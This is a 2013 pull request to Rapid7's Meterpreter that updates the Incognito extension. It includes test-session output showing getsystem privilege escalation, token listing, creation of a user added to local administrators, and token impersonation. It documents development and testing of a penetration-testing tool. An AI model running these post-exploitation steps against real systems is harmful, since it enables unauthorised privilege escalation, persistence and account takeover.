rapid7/meterpreter — pull request #42 by OJ (2013-10-29 09:54:35+00:00)
Title: Update to Incognito v2

**Note:** this PR relies on the [VS2013 upgrade PR](https://github.com/rapid7/meterpreter/pull/41), so that needs to be merged first.

This commit updates to the latest version of the incognito code from: http://labs.mwrinfosecurity.com/blog/2012/07/18/incognito-v2-0-released/

This included a fix for Windows 2003 x64, which was reported as a bug in RM 8281.

Sample output post-fix:

```
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
OJ-Y433WVQI694X\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
```

Test run on the same machine to make sure we haven't broken anything that was working before in other areas of incognito.

Adding users:

```
meterpreter > add_user fido fido
[*] Attempting to add user fido to host 127.0.0.1
[+] Successfully added user

meterpreter > shell
Process 2708 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator fido Guest
SUPPORT_388945a0
The command completed with one or more errors.
```

Adding the user to a group:

```
meterpreter > add_localgroup_user administrators fido
[*] Attempting to add user fido to localgroup administrators on host 127.0.0.1
[+] Successfully added user to local group
meterpreter > shell
Process 2820 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
fido
The command completed successfully.
```

Impersonation:

```
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
OJ-Y433WVQI694X\Administrator
OJ-Y433WVQI694X\fido

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token OJ-Y433WVQI694X\\fido
[+] Delegation token available
[+] Successfully impersonated user OJ-Y433WVQI694X\fido
meterpreter > getuid
Server username: OJ-Y433WVQI694X\fido
```

[FixRM #8281]